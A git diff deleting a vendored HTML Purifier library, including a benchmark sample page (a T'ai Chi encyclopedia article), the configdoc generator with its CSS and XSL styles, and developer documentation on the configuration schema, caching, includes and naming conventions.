        Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.

        -

        The Cheng Man-ch'ing and Chinese Sports Commission short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'an by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.

        - - -

        -

        Modern T'ai Chi

        -
        -
        Yang style in Shanghai -
        -
        Enlarge
        -Yang style in Shanghai
        -
        -
        -

        T'ai Chi has become very popular in the last twenty years or so, as the baby boomers age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its aesthetic appeal (as in the shortened, modern, theatrical "Taijiquan" forms of wushu, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the yin and yang of T'ai Chi Ch'an. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.

        - -

        Along with Yoga, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the New Age community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'an with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health and self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.

        - -

        -

        Modern forms

        - -
        -
        Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA). -
        -
        Enlarge
        -Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA).
        -
        -
        - -

        In order to standardize T'ai Chi Ch'an for wushu tournament judging, and because many of the family T'ai Chi Ch'an teachers had either moved out of China or had been forced to stop teaching after the Communist regime was established in 1949, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to 24 postures in 1956. They wanted to somehow retain the look of T'ai Chi Ch'an but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In 1976, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the Combined 48 Forms that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.

        - -

        As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late 1980s, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the 56 Forms, and so on. The combined forms are The 42 Form or simply the Competition Form, as it is known in China. In the 11th Asian Games of 1990, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (IWUF) has applied for wushu to be part of the Olympic games. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in 2008.

        - -

        Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'an has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'an and thereby lack the quality control traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.

        - -

        -

        Health benefits

        -

        Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.

        -

        T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (ADHD) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)

        - -

        A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of diabetes.[1]

        - -

        -

        Citations to medical research

        -
          -
        • Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. PMID 14687346
        • -
        • Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a systematic review. Arch Intern Med. 2004 Mar 8;164(5):493-501. PMID 15006825
        • - -
        • Search a listing of articles relating to the FICSIT trials and T'ai Chi [2]
        • -
        • Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123
        • -
        • Calorie Burning Chart [3]
        • -
        • Tai Chi boosts T-Cell counts in immune system [4]
        • -
        • Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206
        • - -
        • A comprehensive listing of Tai Chi medical research links [5]
        • -
        • References to medical publications [6]
        • -
        • Tai Chi a promising remedy for diabetes, Australian Broadcasting Corporation, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.
        • -
        • Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.[7]
        • -
        - - -

        -

        See also

        - - -

        -

        External links

        - - - - - - - -
        -
        -
        -
        -
        -
        -
        Views
        - -
        -
        -
        Personal tools
        - -
        - - - - - - -
        -
        In other languages
        - -
        - -
        -
        - - -
        - - - - - diff --git a/classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt b/classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt deleted file mode 100644 index 0c8ae5d93..000000000 --- a/classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt +++ /dev/null @@ -1,7 +0,0 @@ -Disclaimer: - -The HTML used in these samples are taken from random websites. I claim -no copyright over these and assert that I may use them like this under -fair use. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/configdoc/generate.php b/classes/security/htmlpurifier/configdoc/generate.php deleted file mode 100644 index e0c4e674a..000000000 --- a/classes/security/htmlpurifier/configdoc/generate.php +++ /dev/null @@ -1,64 +0,0 @@ - true -)); - -$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); -$interchange = new HTMLPurifier_ConfigSchema_Interchange(); -$builder->buildDir($interchange); -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -$interchange->validate(); - -$style = 'plain'; // use $_GET in the future, careful to validate! -$configdoc_xml = dirname(__FILE__) . '/configdoc.xml'; - -$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); -$xml_builder->openURI($configdoc_xml); -$xml_builder->build($interchange); -unset($xml_builder); // free handle - -$xslt = new ConfigDoc_HTMLXSLTProcessor(); -$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl"); -$output = $xslt->transformToHTML($configdoc_xml); - -if (!$output) { - echo "Error in generating files\n"; - exit(1); -} - -// write out -file_put_contents(dirname(__FILE__) . "/$style.html", $output); - -if (php_sapi_name() != 'cli') { - // output (instant feedback if it's a browser) - echo $output; -} else { - echo "Files generated successfully.\n"; -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/configdoc/styles/plain.css b/classes/security/htmlpurifier/configdoc/styles/plain.css deleted file mode 100644 index 7af80d061..000000000 --- a/classes/security/htmlpurifier/configdoc/styles/plain.css +++ /dev/null @@ -1,44 +0,0 @@ - -body {margin:0;padding:0;} -#content { - margin:1em auto; - max-width: 47em; - width: expression(document.body.clientWidth > - 85 * parseInt(document.body.currentStyle.fontSize) ? - "54em": "auto"); -} - -table {border-collapse:collapse;} -table td, table th {padding:0.2em;} - -table.constraints {margin:0 0 1em;} -table.constraints th { - text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE; - width:8em;vertical-align:top;} -table.constraints td {padding-right:0.4em; padding-left: 1em;} -table.constraints td ul {padding:0; margin:0; list-style:none;} -table.constraints td pre {margin:0;} - -#tocContainer {position:relative;} -#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;} -#toc li {position:relative; line-height: 1.2em;} -#toc .col-2 {margin-left:50%;} -#toc .col-l {float:left;} -#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;} - -.description p {margin-top:0;margin-bottom:1em;} - -#library, h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -#library {font-size:1em;} -h1 {margin-top:0;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em; clear:both;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -.deprecated {color: #CCC;} -.deprecated table.constraints th {background:#FFF;} -.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/configdoc/styles/plain.xsl b/classes/security/htmlpurifier/configdoc/styles/plain.xsl deleted file mode 100644 index 9b9794e0b..000000000 --- a/classes/security/htmlpurifier/configdoc/styles/plain.xsl +++ /dev/null @@ -1,253 +0,0 @@ - - - - - - - - - - - - - - - - <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> - - - - -
        -
        -

        -
        -

        Table of Contents

        -
          - - - -
        -
        -
        -

        Types

        - -
        - -
        - - -
        - - -
        - type- -

        :

        -
        - -
        -
        -
        - - - - - - - -
      2. - - - col-2 - - - margin-top:-em - - - -
          - - - -
        - -
        - -
      3. -
        -
        - - - - - -
      4. - -
      5. -
        -
        - - - - -
        - - -

        No configuration directives defined for this namespace.

        -
        -
        -
        - -

        -
        - -
        - -
        -
        - - -
        - directive deprecated - - - -
        -
        - - - -

        -
        - - - - - - - - - - - - - - - -
        -
        - -
  • Aliases - - , - - -
    Used in -
      - -
    -
    Version added
    Type - - type type- - - #type- - - - (or null) - - -
    Allowed values - , - "" -
    Default
    External deps -
      - -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    KeyExampleDescription
    IDTest.SampleThe name of the directive, in the form Namespace.Directive - (implicitly the first line)
    TYPEstring/nullThe type of variable this directive accepts. See below for - details. You can also add /null to the end of - any basic type to allow null values too.
    DEFAULTNULLA parseable PHP expression of the default value.
    DESCRIPTIONThis is a...An HTML description of what this directive does.
    VERSION3.1.0Recommended. The version of HTML Purifier this directive was added. - Directives that have been around since 1.0.0 don't have this, - but any new ones should.
    ALIASESTest.ExampleOptional. A comma separated list of aliases for this directive. - This is most useful for backwards compatibility and should - not be used otherwise.
    ALLOWED'foo', 'bar'Optional. Set of allowed value for a directive, - a comma separated list of parseable PHP expressions. This - is only allowed string, istring, text and itext TYPEs.
    VALUE-ALIASES'baz' => 'bar'Optional. Mapping of one value to another, and - should be a comma separated list of keypair duples. This - is only allowed string, istring, text and itext TYPEs.
    DEPRECATED-VERSION3.1.0Not shown. Indicates that the directive was - deprecated this version.
    DEPRECATED-USETest.NewDirectiveNot shown. Indicates what new directive should be - used instead. Note that the directives will functionally be - different, although they should offer the same functionality. - If they are identical, use an alias instead.
    EXTERNALCSSTidyNot shown. Indicates if there is an external library - the user will need to download and install to use this configuration - directive. As of right now, this is merely a Google-able name; future - versions may also provide links and instructions.
    - -

    - Some notes on format and style: -

    - -
      -
    • - Each of these keys can be expressed in the short format - (KEY: Value) or the long format - (--KEY-- with value beneath). You must use the - long format if multiple lines are needed, or if a long format - has been used already (that's why ALIASES in our - example is in the long format); otherwise, it's user preference. -
    • -
    • - The HTML descriptions should be wrapped at about 80 columns; do - not rely on editor word-wrapping. -
    • -
    - -

    - Also, as promised, here is the set of possible types: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeExampleDescription
    string'Foo'String without newlines
    istring'foo'Case insensitive ASCII string without newlines
    text"A\nb"String with newlines
    itext"a\nb"Case insensitive ASCII string without newlines
    int23Integer
    float3.0Floating point number
    booltrueBoolean
    lookuparray('key' => true)Lookup array, used with isset($var[$key])
    listarray('f', 'b')List array, with ordered numerical indexes
    hasharray('key' => 'val')Associative array of keys to values
    mixednew stdclassAny PHP variable is fine
    - -

    - The examples represent what will be returned out of the configuration - object; users have a little bit of leeway when setting configuration - values (for example, a lookup value can be specified as a list; - HTML Purifier will flip it as necessary.) These types are defined - in - library/HTMLPurifier/VarParser.php. -

    - -

    - For more information on what values are allowed, and how they are parsed, - consult - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php, as well - as - library/HTMLPurifier/ConfigSchema/Interchange/Directive.php for - the semantics of the parsed values. -

    - -

    Refreshing the cache

    - -

    - You may have noticed that your directive file isn't doing anything - yet. That's because it hasn't been added to the runtime - HTMLPurifier_ConfigSchema instance. Run - maintenance/generate-schema-cache.php to fix this. - If there were no errors, you're good to go! Don't forget to add - some unit tests for your functionality! -

    - -

    - If you ever make changes to your configuration directives, you - will need to run this script again. -

    -

    Adding in-house schema definitions

    - -

    - Placing stuff directly in HTML Purifier's source tree is generally not a - good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your - life easier. -

    - -

    - The first is to pass an extra parameter to maintenance/generate-schema-cache.php - with the location of your directory (relative or absolute path will do). For example, - if I'm storing my custom definitions in /var/htmlpurifier/myschema, run: - php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema. -

    - -

    - Alternatively, you can create a small loader PHP file in the HTML Purifier base - directory named config-schema.php (this is the same directory - you would place a test-settings.php file). In this file, add - the following line for each directory you want to load: -

    - -
    $builder->buildDir($interchange, '/var/htmlpurifier/myschema');
    - -

    You can even load a single file using:

    - -
    $builder->buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');
    - -

    Storing custom definitions that you don't plan on sending back upstream in - a separate directory is definitely a good idea! Additionally, picking - a good namespace can go a long way to saving you grief if you want to use - someone else's change, but they picked the same name, or if HTML Purifier - decides to add support for a configuration directive that has the same name.

    - - - -

    Errors

    - -

    - All directive files go through a rigorous validation process - through - library/HTMLPurifier/ConfigSchema/Validator.php, as well - as some basic checks during building. While - listing every error out here is out-of-scope for this document, we - can give some general tips for interpreting error messages. - There are two types of errors: builder errors and validation errors. -

    - -

    Builder errors

    - -
    -

    - Exception: Expected type string, got - integer in DEFAULT in directive hash 'Ns.Dir' -

    -
    - -

    - You can identify a builder error by the keyword "directive hash." - These are the easiest to deal with, because they directly correspond - with your directive file. Find the offending directive file (which - is the directive hash plus the .txt extension), find the - offending index ("in DEFAULT" means the DEFAULT key) and fix the error. - This particular error would occur if your default value is not the same - type as TYPE. -

    - -

    Validation errors

    - -
    -

    - Exception: Alias 3 in valueAliases in directive - 'Ns.Dir' must be a string -

    -
    - -

    - These are a little trickier, because we're not actually validating - your directive file, or even the direct string hash representation. - We're validating an Interchange object, and the error messages do - not mention any string hash keys. -

    - -

    - Nevertheless, it's not difficult to figure out what went wrong. - Read the "context" statements in reverse: -

    - -
    -
    in directive 'Ns.Dir'
    -
    This means we need to look at the directive file Ns.Dir.txt
    -
    in valueAliases
    -
    There's no key actually called this, but there's one that's close: - VALUE-ALIASES. Indeed, that's where to look.
    -
    Alias 3
    -
    The value alias that is equal to 3 is the culprit.
    -
    - -

    - In this particular case, you're not allowed to alias integers values to - strings values. -

    - -

    - The most difficult part is translating the Interchange member variable (valueAliases) - into a directive file key (VALUE-ALIASES), but there's a one-to-one - correspondence currently. If the two formats diverge, any discrepancies - will be described in - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php. -

    - -

    Internals

    - -

    - Much of the configuration schema framework's codebase deals with - shuffling data from one format to another, and doing validation on this - data. - The keystone of all of this is the HTMLPurifier_ConfigSchema_Interchange - class, which represents the purest, parsed representation of the schema. -

    - -

    - Hand-writing this data is unwieldy, however, so we write directive files. - These directive files are parsed by HTMLPurifier_StringHashParser - into HTMLPurifier_StringHashes, which then - are run through HTMLPurifier_ConfigSchema_InterchangeBuilder - to construct the interchange object. -

    - -

    - From the interchange object, the data can be siphoned into other forms - using HTMLPurifier_ConfigSchema_Builder subclasses. - For example, HTMLPurifier_ConfigSchema_Builder_ConfigSchema - generates a runtime HTMLPurifier_ConfigSchema object, - which HTMLPurifier_Config uses to validate its incoming - data. There is also an XML serializer, which is used to build documentation. -

    - - - - - diff --git a/classes/security/htmlpurifier/docs/dev-flush.html b/classes/security/htmlpurifier/docs/dev-flush.html deleted file mode 100644 index 4a3a78351..000000000 --- a/classes/security/htmlpurifier/docs/dev-flush.html +++ /dev/null @@ -1,68 +0,0 @@ - - - - - - - - Flushing the Purifier - HTML Purifier - - - -

    Flushing the Purifier

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - If you've been poking around the various folders in HTML Purifier, - you may have noticed the maintenance directory. Almost - all of these scripts are devoted to flushing out the various caches - HTML Purifier uses. Normal users don't have to worry about this: - regular library usage is transparent. However, when doing development - work on HTML Purifier, you may find you have to flush one of the - caches. -

    - -

    - As a general rule of thumb, run flush.php whenever you make - any major changes, or when tests start mysteriously failing. - In more detail, run this script if: -

    - -
      -
    • - You added new source files to HTML Purifier's main library. - (see generate-includes.php) -
    • -
    • - You modified the configuration schema (see - generate-schema-cache.php). This usually means - adding or modifying files in HTMLPurifier/ConfigSchema/schema/, - although in rare cases modifying HTMLPurifier/ConfigSchema.php - will also require this. -
    • -
    • - You modified a Definition, or its subsystems. The most usual candidate - is HTMLPurifier/HTMLDefinition.php, which also encompasses - the files in HTMLPurifier/HTMLModule/ as well as if you've - customizing definitions without - the cache disabled. (see flush-generation-cache.php) -
    • -
    • - You modified source files, and have been using the standalone - version from the full installation. (see generate-standalone.php) -
    • -
    - -

    - You can check out the corresponding scripts for more information on what they - do. -

    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-includes.txt b/classes/security/htmlpurifier/docs/dev-includes.txt deleted file mode 100644 index d3382b593..000000000 --- a/classes/security/htmlpurifier/docs/dev-includes.txt +++ /dev/null @@ -1,281 +0,0 @@ - -INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION - -The Problem ------------ - -HTML Purifier contains a number of extra components that are not used all -of the time, only if the user explicitly specifies that we should use -them. - -Some of these optional components are optionally included (Filter, -Language, Lexer, Printer), while others are included all the time -(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these -are all developer specified: it is conceivable that certain Tokens are not -used, but this is user-dependent and should not be trusted. - -We should come up with a consistent way to handle these things and ensure -that we get the maximum performance when there is bytecode caches and -when there are not. Unfortunately, these two goals seem contrary to each -other. - -A peripheral issue is the performance of ConfigSchema, which has been -shown take a large, constant amount of initialization time, and is -intricately linked to the issue of includes due to its pervasive use -in our plugin architecture. - -Pros and Cons -------------- - -We will assume that user-based extensions will be included by them. - -Conditional includes: - Pros: - - User management is simplified; only a single directive needs to be set - - Only necessary code is included - Cons: - - Doesn't play nicely with opcode caches - - Adds complexity to standalone version - - Optional configuration directives are not exposed without a little - extra coaxing (not implemented yet) - -Include it all: - Pros: - - User management is still simple - - Plays nicely with opcode caches and standalone version - - All configuration directives are present - Cons: - - Lots of (how much?) extra code is included - - Classes that inherit from external libraries will cause compile - errors - -Build an include stub (Let's do this!): - Pros: - - Only necessary code is included - - Plays nicely with opcode caches and standalone version - - require (without once) can be used, see above - - Could further extend as a compilation to one file - Cons: - - Not implemented yet - - Requires user intervention and use of a command line script - - Standalone script must be chained to this - - More complex and compiled-language-like - - Requires a whole new class of system-wide configuration directives, - as configuration objects can be reused - - Determining what needs to be included can be complex (see above) - - No way of autodetecting dynamically instantiated classes - - Might be slow - -Include stubs -------------- - -This solution may be "just right" for users who are heavily oriented -towards performance. However, there are a number of picky implementation -details to work out beforehand. - -The number one concern is how to make the HTML Purifier files "work -out of the box", while still being able to easily get them into a form -that works with this setup. As the codebase stands right now, it would -be necessary to strip out all of the require_once calls. The only way -we could get rid of the require_once calls is to use __autoload or -use the stub for all cases (which might not be a bad idea). - - Aside - ----- - An important thing to remember, however, is that these require_once's - are valuable data about what classes a file needs. Unfortunately, there's - no distinction between whether or not the file is needed all the time, - or whether or not it is one of our "optional" files. Thus, it is - effectively useless. - - Deprecated - ---------- - One of the things I'd like to do is have the code search for any classes - that are explicitly mentioned in the code. If a class isn't mentioned, I - get to assume that it is "optional," i.e. included via introspection. - The choice is either to use PHP's tokenizer or use regexps; regexps would - be faster but a tokenizer would be more correct. If this ends up being - unfeasible, adding dependency comments isn't a bad idea. (This could - even be done automatically by search/replacing require_once, although - we'd have to manually inspect the results for the optional requires.) - - NOTE: This ends up not being necessary, as we're going to make the user - figure out all the extra classes they need, and only include the core - which is predetermined. - -Using the autoload framework with include stubs works nicely with -introspective classes: instead of having to have require_once inside -the function, we can let autoload do the work; we simply need to -new $class or accept the object straight from the caller. Handling filters -becomes a simple matter of ticking off configuration directives, and -if ConfigSchema spits out errors, adding the necessary includes. We could -also use the autoload framework as a fallback, in case the user forgets -to make the include, but doesn't really care about performance. - - Insight - ------- - All of this talk is merely a natural extension of what our current - standalone functionality does. However, instead of having our code - perform the includes, or attempting to inline everything that possibly - could be used, we boot the issue to the user, making them include - everything or setup the fallback autoload handler. - -Configuration Schema --------------------- - -A common deficiency for all of the conditional include setups (including -the dynamically built include PHP stub) is that if one of this -conditionally included files includes a configuration directive, it -is not accessible to configdoc. A stopgap solution for this problem is -to have it piggy-back off of the data in the merge-library.php script -to figure out what extra files it needs to include, but if the file also -inherits classes that don't exist, we're in big trouble. - -I think it's high time we centralized the configuration documentation. -However, the type checking has been a great boon for the library, and -I'd like to keep that. The compromise is to use some other source, and -then parse it into the ConfigSchema internal format (sans all of those -nasty documentation strings which we really don't need at runtime) and -serialize that for future use. - -The next question is that of format. XML is very verbose, and the prospect -of setting defaults in it gives me willies. However, this may be necessary. -Splitting up the file into manageable chunks may alleviate this trouble, -and we may be even want to create our own format optimized for specifying -configuration. It might look like (based off the PHPT format, which is -nicely compact yet unambiguous and human-readable): - -Core.HiddenElements -TYPE: lookup -DEFAULT: array('script', 'style') // auto-converted during processing ---ALIASES-- -Core.InvisibleElements, Core.StupidElements ---DESCRIPTION-- -

    - Blah blah -

    - -The first line is the directive name, the lines after that prior to the -first --HEADER-- block are single-line values, and then after that -the multiline values are there. No value is restricted to a particular -format: DEFAULT could very well be multiline if that would be easier. -This would make it insanely easy, also, to add arbitrary extra parameters, -like: - -VERSION: 3.0.0 -ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array() -EXTERNAL: CSSTidy // this would be documented somewhere else with a URL - -The final loss would be that you wouldn't know what file the directive -was used in; with some clever regexps it should be possible to -figure out where $config->get($ns, $d); occurs. Reflective calls to -the configuration object is mitigated by the fact that getBatch is -used, so we can simply talk about that in the namespace definition page. -This might be slow, but it would only happen when we are creating -the documentation for consumption, and is sugar. - -We can put this in a schema/ directory, outside of HTML Purifier. The serialized -data gets treated like entities.ser. - -The final thing that needs to be handled is user defined configurations. -They can be added at runtime using ConfigSchema::registerDirectory() -which globs the directory and grabs all of the directives to be incorporated -in. Then, the result is saved. We may want to take advantage of the -DefinitionCache framework, although it is not altogether certain what -configuration directives would be used to generate our key (meta-directives!) - - Further thoughts - ---------------- - Our master configuration schema will only need to be updated once - every new version, so it's easily versionable. User specified - schema files are far more volatile, but it's far too expensive - to check the filemtimes of all the files, so a DefinitionRev style - mechanism works better. However, we can uniquely identify the - schema based on the directories they loaded, so there's no need - for a DefinitionId until we give them full programmatic control. - - These variables should be directly incorporated into ConfigSchema, - and ConfigSchema should handle serialization. Some refactoring will be - necessary for the DefinitionCache classes, as they are built with - Config in mind. If the user changes something, the cache file gets - rebuilt. If the version changes, the cache file gets rebuilt. Since - our unit tests flush the caches before we start, and the operation is - pretty fast, this will not negatively impact unit testing. - -One last thing: certain configuration directives require that files -get added. They may even be specified dynamically. It is not a good idea -for the HTMLPurifier_Config object to be used directly for such matters. -Instead, the userland code should explicitly perform the includes. We may -put in something like: - -REQUIRES: HTMLPurifier_Filter_ExtractStyleBlocks - -To indicate that if that class doesn't exist, and the user is attempting -to use the directive, we should fatally error out. The stub includes the core files, -and the user includes everything else. Any reflective things like new -$class would be required to tie in with the configuration. - -It would work very well with rarely used configuration options, but it -wouldn't be so good for "core" parts that can be disabled. In such cases -the core include file would need to be modified, and the only way -to properly do this is use the configuration object. Once again, our -ability to create cache keys saves the day again: we can create arbitrary -stub files for arbitrary configurations and include those. They could -even be the single file affairs. The only thing we'd need to include, -then, would be HTMLPurifier_Config! Then, the configuration object would -load the library. - - An aside... - ----------- - One questions, however, the wisdom of letting PHP files write other PHP - files. It seems like a recipe for disaster, or at least lots of headaches - in highly secured setups, where PHP does not have the ability to write - to its root. In such cases, we could use sticky bits or tell the user - to manually generate the file. - - The other troublesome bit is actually doing the calculations necessary. - For certain cases, it's simple (such as URIScheme), but for AttrDef - and HTMLModule the dependency trees are very complex in relation to - %HTML.Allowed and friends. I think that this idea should be shelved - and looked at a later, less insane date. - -An interesting dilemma presents itself when a configuration form is offered -to the user. Normally, the configuration object is not accessible without -editing PHP code; this facility changes thing. The sensible thing to do -is stipulate that all classes required by the directives you allow must -be included. - -Unit testing ------------- - -Setting up the parsing and translation into our existing format would not -be difficult to do. It might represent a good time for us to rethink our -tests for these facilities; as creative as they are, they are often hacky -and require public visibility for things that ought to be protected. -This is especially applicable for our DefinitionCache tests. - -Migration ---------- - -Because we are not *adding* anything essentially new, it should be trivial -to write a script to take our existing data and dump it into the new format. -Well, not trivial, but fairly easy to accomplish. Primary implementation -difficulties would probably involve formatting the file nicely. - -Backwards-compatibility ------------------------ - -I expect that the ConfigSchema methods should stick around for a little bit, -but display E_USER_NOTICE warnings that they are deprecated. This will -require documentation! - -New stuff ---------- - -VERSION: Version number directive was introduced -DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated? -DEPRECATED-USE: If the directive was deprecated, what should the user use now? -REQUIRES: What classes does this configuration directive require, but are - not part of the HTML Purifier core? - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/dev-naming.html b/classes/security/htmlpurifier/docs/dev-naming.html deleted file mode 100644 index cea4b006f..000000000 --- a/classes/security/htmlpurifier/docs/dev-naming.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - -Naming Conventions - HTML Purifier - - - -

    Naming Conventions

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    The classes in this library follow a few naming conventions, which may -help you find the correct functionality more quickly. Here they are:

    - -
    - -
    All classes occupy the HTMLPurifier pseudo-namespace.
    -
    This means that all classes are prefixed with HTMLPurifier_. As such, all - names under HTMLPurifier_ are reserved. I recommend that you use the name - HTMLPurifierX_YourName_ClassName, especially if you want to take advantage - of HTMLPurifier_ConfigDef.
    - -
    All classes correspond to their path if library/ was in the include path
    -
    HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace - underscores with slashes and append .php and you'll have the location of - the class.
    - -
    Harness and Test are reserved class names for unit tests
    -
    The suffix Test indicates that the class is a subclass of UnitTestCase - (of the Simpletest library) and is testable. "Harness" indicates a subclass - of UnitTestCase that is not meant to be run but to be extended into - concrete test cases and contains custom test methods (i.e. assert*())
    - -
    Class names do not necessarily represent inheritance hierarchies
    -
    While we try to reflect inheritance in naming to some extent, it is not - guaranteed (for instance, none of the classes inherit from HTMLPurifier, - the base class). However, all class files have the require_once - declarations to whichever classes they are tightly coupled to.
    - -
    Strategy has a meaning different from the Gang of Four pattern
    -
    In Design Patterns, the Gang of Four describes a Strategy object as - encapsulating an algorithm so that they can be switched at run-time. While - our strategies are indeed algorithms, they are not meant to be substituted: - all must be present in order for proper functioning.
    - -
    Abbreviations are avoided
    -
    We try to avoid abbreviations as much as possible, but in some cases, - abbreviated version is more readable than the full version. Here, we - list common abbreviations: -
      -
    • Attr to Attributes (note that it is plural, i.e. $attr = array())
    • -
    • Def to Definition
    • -
    • $ret is the value to be returned in a function
    • -
    -
    - -
    Ambiguity concerning the definition of Def/Definition
    -
